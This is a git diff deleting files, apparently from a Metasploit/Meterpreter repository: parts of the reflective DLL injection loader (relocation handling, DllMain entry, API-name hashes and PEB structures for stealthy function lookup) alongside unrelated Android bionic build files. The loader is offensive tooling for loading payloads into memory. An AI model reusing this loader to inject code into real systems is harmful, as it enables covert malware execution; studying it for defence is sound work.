uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
|
||||
/*
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
|
||||
// check if their are any exception etries present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// get the number of entries
|
||||
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
|
||||
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all entries
|
||||
while( uiValueA-- )
|
||||
{
|
||||
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
|
||||
|
||||
// get the next entry
|
||||
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
}
|
||||
}
|
||||
*/
|
||||
// STEP 7: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
{
|
||||
case EXITFUNC_SEH:
|
||||
SetUnhandledExceptionFilter( NULL );
|
||||
break;
|
||||
case EXITFUNC_THREAD:
|
||||
ExitThread( 0 );
|
||||
break;
|
||||
case EXITFUNC_PROCESS:
|
||||
ExitProcess( 0 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_METASPLOIT_ATTACH:
|
||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||
break;
|
||||
case DLL_METASPLOIT_DETACH:
|
||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -1,204 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T);
|
||||
typedef LPVOID (WINAPI * OUTPUTDEBUG)(LPCSTR);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALLOCK_HASH 0x0ef632f2
|
||||
#define OUTPUTDEBUG_HASH 0x470d22bc
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -1,24 +0,0 @@
|
|||
.model flat, C
|
||||
|
||||
.data
|
||||
__imp__EncodePointer@4 dd dummy
|
||||
__imp__DecodePointer@4 dd dummy
|
||||
__imp__HeapSetInformation@16 dd dummy2
|
||||
|
||||
EXTERNDEF __imp__EncodePointer@4 : DWORD
|
||||
EXTERNDEF __imp__DecodePointer@4 : DWORD
|
||||
EXTERNDEF __imp__HeapSetInformation@16 : DWORD
|
||||
|
||||
.code
|
||||
|
||||
dummy proc
|
||||
mov eax, [esp+4]
|
||||
ret 4
|
||||
dummy endp
|
||||
|
||||
dummy2 proc
|
||||
mov eax, 1
|
||||
ret 10h
|
||||
dummy2 endp
|
||||
|
||||
end
|
|
@ -1,19 +0,0 @@
|
|||
#
|
||||
# Copyright (C) 2008 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
ifneq ($(TARGET_SIMULATOR),true)
|
||||
include $(call all-subdir-makefiles)
|
||||
endif
|
|
@ -1,49 +0,0 @@
|
|||
# Copyright (C) 2007 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
# If you don't need to do a full clean build but would like to touch
|
||||
# a file or delete some intermediate files, add a clean step to the end
|
||||
# of the list. These steps will only be run once, if they haven't been
|
||||
# run before.
|
||||
#
|
||||
# E.g.:
|
||||
# $(call add-clean-step, touch -c external/sqlite/sqlite3.h)
|
||||
# $(call add-clean-step, rm -rf $(PRODUCT_OUT)/obj/STATIC_LIBRARIES/libz_intermediates)
|
||||
#
|
||||
# Always use "touch -c" and "rm -f" or "rm -rf" to gracefully deal with
|
||||
# files that are missing or have been moved.
|
||||
#
|
||||
# Use $(PRODUCT_OUT) to get to the "out/target/product/blah/" directory.
|
||||
# Use $(OUT_DIR) to refer to the "out" directory.
|
||||
#
|
||||
# If you need to re-do something that's already mentioned, just copy
|
||||
# the command and add it to the bottom of the list. E.g., if a change
|
||||
# that you made last week required touching a file and a change you
|
||||
# made today requires touching the same file, just copy the old
|
||||
# touch step and add it to the end of the list.
|
||||
#
|
||||
# ************************************************
|
||||
# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
|
||||
# ************************************************
|
||||
|
||||
# For example:
|
||||
#$(call add-clean-step, rm -rf $(OUT_DIR)/target/common/obj/APPS/AndroidTests_intermediates)
|
||||
#$(call add-clean-step, rm -rf $(OUT_DIR)/target/common/obj/JAVA_LIBRARIES/core_intermediates)
|
||||
#$(call add-clean-step, find $(OUT_DIR) -type f -name "IGTalkSession*" -print0 | xargs -0 rm -f)
|
||||
#$(call add-clean-step, rm -rf $(PRODUCT_OUT)/data/*)
|
||||
|
||||
# ************************************************
|
||||
# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
|
||||
# ************************************************
|
|
@ -1,6 +0,0 @@
|
|||
|
||||
Bionic support for SuperH
|
||||
-------------------------
|
||||
Bionic support for SuperH architecture is written by
|
||||
Shin-ichiro KAWASAKI <shinichiro.kawasaki.mg@hitachi.com>
|
||||
and Contributed to Android by Hitachi, Ltd. and Renesas Solutions Corp.
|
File diff suppressed because it is too large
Load Diff
|
@ -1,680 +0,0 @@
|
|||
LOCAL_PATH:= $(call my-dir)
|
||||
|
||||
include $(LOCAL_PATH)/arch-$(TARGET_ARCH)/syscalls.mk
|
||||
|
||||
# Define the common source files for all the libc instances
|
||||
# =========================================================
|
||||
libc_common_src_files := \
|
||||
$(syscall_src) \
|
||||
unistd/abort.c \
|
||||
unistd/alarm.c \
|
||||
unistd/brk.c \
|
||||
unistd/creat.c \
|
||||
unistd/daemon.c \
|
||||
unistd/exec.c \
|
||||
unistd/fcntl.c \
|
||||
unistd/fnmatch.c \
|
||||
unistd/ftime.c \
|
||||
unistd/ftok.c \
|
||||
unistd/getcwd.c \
|
||||
unistd/getdtablesize.c \
|
||||
unistd/gethostname.c \
|
||||
unistd/getopt_long.c \
|
||||
unistd/getpgrp.c \
|
||||
unistd/getpriority.c \
|
||||
unistd/getpt.c \
|
||||
unistd/initgroups.c \
|
||||
unistd/isatty.c \
|
||||
unistd/issetugid.c \
|
||||
unistd/killpg.c \
|
||||
unistd/lseek64.c \
|
||||
unistd/mmap.c \
|
||||
unistd/nice.c \
|
||||
unistd/open.c \
|
||||
unistd/openat.c \
|
||||
unistd/opendir.c \
|
||||
unistd/pathconf.c \
|
||||
unistd/perror.c \
|
||||
unistd/popen.c \
|
||||
unistd/pread.c \
|
||||
unistd/pselect.c \
|
||||
unistd/ptsname.c \
|
||||
unistd/ptsname_r.c \
|
||||
unistd/pwrite.c \
|
||||
unistd/raise.c \
|
||||
unistd/reboot.c \
|
||||
unistd/recv.c \
|
||||
unistd/sbrk.c \
|
||||
unistd/send.c \
|
||||
unistd/setegid.c \
|
||||
unistd/setuid.c \
|
||||
unistd/seteuid.c \
|
||||
unistd/setreuid.c \
|
||||
unistd/setresuid.c \
|
||||
unistd/setpgrp.c \
|
||||
unistd/sigblock.c \
|
||||
unistd/siginterrupt.c \
|
||||
unistd/siglist.c \
|
||||
unistd/signal.c \
|
||||
unistd/signame.c \
|
||||
unistd/sigsetmask.c \
|
||||
unistd/sigsuspend.c \
|
||||
unistd/sigwait.c \
|
||||
unistd/sleep.c \
|
||||
unistd/statfs.c \
|
||||
unistd/strsignal.c \
|
||||
unistd/sysconf.c \
|
||||
unistd/syslog.c \
|
||||
unistd/system.c \
|
||||
unistd/tcgetpgrp.c \
|
||||
unistd/tcsetpgrp.c \
|
||||
unistd/time.c \
|
||||
unistd/umount.c \
|
||||
unistd/unlockpt.c \
|
||||
unistd/usleep.c \
|
||||
unistd/wait.c \
|
||||
stdio/asprintf.c \
|
||||
stdio/clrerr.c \
|
||||
stdio/fclose.c \
|
||||
stdio/fdopen.c \
|
||||
stdio/feof.c \
|
||||
stdio/ferror.c \
|
||||
stdio/fflush.c \
|
||||
stdio/fgetc.c \
|
||||
stdio/fgetln.c \
|
||||
stdio/fgetpos.c \
|
||||
stdio/fgets.c \
|
||||
stdio/fileno.c \
|
||||
stdio/findfp.c \
|
||||
stdio/flags.c \
|
||||
stdio/flockfile.c \
|
||||
stdio/fopen.c \
|
||||
stdio/fprintf.c \
|
||||
stdio/fpurge.c \
|
||||
stdio/fputc.c \
|
||||
stdio/fputs.c \
|
||||
stdio/fread.c \
|
||||
stdio/freopen.c \
|
||||
stdio/fscanf.c \
|
||||
stdio/fseek.c \
|
||||
stdio/fsetpos.c \
|
||||
stdio/ftell.c \
|
||||
stdio/funopen.c \
|
||||
stdio/fvwrite.c \
|
||||
stdio/fwalk.c \
|
||||
stdio/fwrite.c \
|
||||
stdio/getc.c \
|
||||
stdio/getchar.c \
|
||||
stdio/gets.c \
|
||||
stdio/makebuf.c \
|
||||
stdio/mktemp.c \
|
||||
stdio/printf.c \
|
||||
stdio/putc.c \
|
||||
stdio/putchar.c \
|
||||
stdio/puts.c \
|
||||
stdio/putw.c \
|
||||
stdio/refill.c \
|
||||
stdio/remove.c \
|
||||
stdio/rewind.c \
|
||||
stdio/rget.c \
|
||||
stdio/scanf.c \
|
||||
stdio/setbuf.c \
|
||||
stdio/setbuffer.c \
|
||||
stdio/setvbuf.c \
|
||||
stdio/snprintf.c\
|
||||
stdio/sprintf.c \
|
||||
stdio/sscanf.c \
|
||||
stdio/stdio.c \
|
||||
stdio/tempnam.c \
|
||||
stdio/tmpfile.c \
|
||||
stdio/tmpnam.c \
|
||||
stdio/ungetc.c \
|
||||
stdio/vasprintf.c \
|
||||
stdio/vfprintf.c \
|
||||
stdio/vfscanf.c \
|
||||
stdio/vprintf.c \
|
||||
stdio/vsnprintf.c \
|
||||
stdio/vsprintf.c \
|
||||
stdio/vscanf.c \
|
||||
stdio/vsscanf.c \
|
||||
stdio/wbuf.c \
|
||||
stdio/wsetup.c \
|
||||
stdlib/rand.c \
|
||||
stdlib/assert.c \
|
||||
stdlib/atexit.c \
|
||||
stdlib/atoi.c \
|
||||
stdlib/atol.c \
|
||||
stdlib/atoll.c \
|
||||
stdlib/bsearch.c \
|
||||
stdlib/ctype_.c \
|
||||
stdlib/div.c \
|
||||
stdlib/exit.c \
|
||||
stdlib/getenv.c \
|
||||
stdlib/ldiv.c \
|
||||
stdlib/lldiv.c \
|
||||
stdlib/locale.c \
|
||||
stdlib/putenv.c \
|
||||
stdlib/qsort.c \
|
||||
stdlib/setenv.c \
|
||||
stdlib/setjmperr.c \
|
||||
stdlib/strntoimax.c \
|
||||
stdlib/strntoumax.c \
|
||||
stdlib/strtod.c \
|
||||
stdlib/strtoimax.c \
|
||||
stdlib/strtol.c \
|
||||
stdlib/strtoll.c \
|
||||
stdlib/strtoul.c \
|
||||
stdlib/strtoull.c \
|
||||
stdlib/strtoumax.c \
|
||||
stdlib/tolower_.c \
|
||||
stdlib/toupper_.c \
|
||||
stdlib/wchar.c \
|
||||
string/index.c \
|
||||
string/memccpy.c \
|
||||
string/memchr.c \
|
||||
string/memmem.c \
|
||||
string/memrchr.c \
|
||||
string/memswap.c \
|
||||
string/strcasecmp.c \
|
||||
string/strcasestr.c \
|
||||
string/strcat.c \
|
||||
string/strchr.c \
|
||||
string/strcoll.c \
|
||||
string/strcpy.c \
|
||||
string/strcspn.c \
|
||||
string/strdup.c \
|
||||
string/strerror.c \
|
||||
string/strerror_r.c \
|
||||
string/strlcat.c \
|
||||
string/strlcpy.c \
|
||||
string/strncat.c \
|
||||
string/strncpy.c \
|
||||
string/strndup.c \
|
||||
string/strnlen.c \
|
||||
string/strpbrk.c \
|
||||
string/strrchr.c \
|
||||
string/strsep.c \
|
||||
string/strspn.c \
|
||||
string/strstr.c \
|
||||
string/strtok.c \
|
||||
string/strtotimeval.c \
|
||||
string/strxfrm.c \
|
||||
inet/bindresvport.c \
|
||||
inet/inet_addr.c \
|
||||
inet/inet_aton.c \
|
||||
inet/inet_ntoa.c \
|
||||
inet/inet_ntop.c \
|
||||
inet/inet_pton.c \
|
||||
inet/ether_aton.c \
|
||||
inet/ether_ntoa.c \
|
||||
tzcode/asctime.c \
|
||||
tzcode/difftime.c \
|
||||
tzcode/localtime.c \
|
||||
tzcode/strftime.c \
|
||||
tzcode/strptime.c \
|
||||
bionic/__errno.c \
|
||||
bionic/__set_errno.c \
|
||||
bionic/cpuacct.c \
|
||||
bionic/arc4random.c \
|
||||
bionic/basename.c \
|
||||
bionic/basename_r.c \
|
||||
bionic/clearenv.c \
|
||||
bionic/dirname.c \
|
||||
bionic/dirname_r.c \
|
||||
bionic/err.c \
|
||||
bionic/fdprintf.c \
|
||||
bionic/fork.c \
|
||||
bionic/fts.c \
|
||||
bionic/if_nametoindex.c \
|
||||
bionic/if_indextoname.c \
|
||||
bionic/ioctl.c \
|
||||
bionic/ldexp.c \
|
||||
bionic/libc_init_common.c \
|
||||
bionic/logd_write.c \
|
||||
bionic/md5.c \
|
||||
bionic/pututline.c \
|
||||
bionic/realpath.c \
|
||||
bionic/semaphore.c \
|
||||
bionic/sha1.c \
|
||||
bionic/ssp.c \
|
||||
bionic/stubs.c \
|
||||
bionic/system_properties.c \
|
||||
bionic/time64.c \
|
||||
bionic/thread_atexit.c \
|
||||
bionic/utime.c \
|
||||
bionic/utmp.c \
|
||||
netbsd/gethnamaddr.c \
|
||||
netbsd/isc/ev_timers.c \
|
||||
netbsd/isc/ev_streams.c \
|
||||
netbsd/inet/nsap_addr.c \
|
||||
netbsd/resolv/__dn_comp.c \
|
||||
netbsd/resolv/__res_close.c \
|
||||
netbsd/resolv/__res_send.c \
|
||||
netbsd/resolv/herror.c \
|
||||
netbsd/resolv/res_comp.c \
|
||||
netbsd/resolv/res_data.c \
|
||||
netbsd/resolv/res_debug.c \
|
||||
netbsd/resolv/res_init.c \
|
||||
netbsd/resolv/res_mkquery.c \
|
||||
netbsd/resolv/res_query.c \
|
||||
netbsd/resolv/res_send.c \
|
||||
netbsd/resolv/res_state.c \
|
||||
netbsd/resolv/res_cache.c \
|
||||
netbsd/net/nsdispatch.c \
|
||||
netbsd/net/getaddrinfo.c \
|
||||
netbsd/net/getnameinfo.c \
|
||||
netbsd/net/getservbyname.c \
|
||||
netbsd/net/getservent.c \
|
||||
netbsd/net/base64.c \
|
||||
netbsd/net/getservbyport.c \
|
||||
netbsd/nameser/ns_name.c \
|
||||
netbsd/nameser/ns_parse.c \
|
||||
netbsd/nameser/ns_ttl.c \
|
||||
netbsd/nameser/ns_netint.c \
|
||||
netbsd/nameser/ns_print.c \
|
||||
netbsd/nameser/ns_samedomain.c \
|
||||
regex/regcomp.c \
|
||||
regex/regerror.c \
|
||||
regex/regexec.c \
|
||||
regex/regfree.c \
|
||||
|
||||
# Architecture specific source files go here
|
||||
# =========================================================
|
||||
ifeq ($(TARGET_ARCH),arm)
|
||||
libc_common_src_files += \
|
||||
bionic/bionic_clone.c \
|
||||
arch-arm/bionic/__get_pc.S \
|
||||
arch-arm/bionic/__get_sp.S \
|
||||
arch-arm/bionic/_exit_with_stack_teardown.S \
|
||||
arch-arm/bionic/_setjmp.S \
|
||||
arch-arm/bionic/atomics_arm.S \
|
||||
arch-arm/bionic/clone.S \
|
||||
arch-arm/bionic/eabi.c \
|
||||
arch-arm/bionic/ffs.S \
|
||||
arch-arm/bionic/kill.S \
|
||||
arch-arm/bionic/libgcc_compat.c \
|
||||
arch-arm/bionic/tkill.S \
|
||||
arch-arm/bionic/memcmp.S \
|
||||
arch-arm/bionic/memcmp16.S \
|
||||
arch-arm/bionic/memcpy.S \
|
||||
arch-arm/bionic/memset.S \
|
||||
arch-arm/bionic/setjmp.S \
|
||||
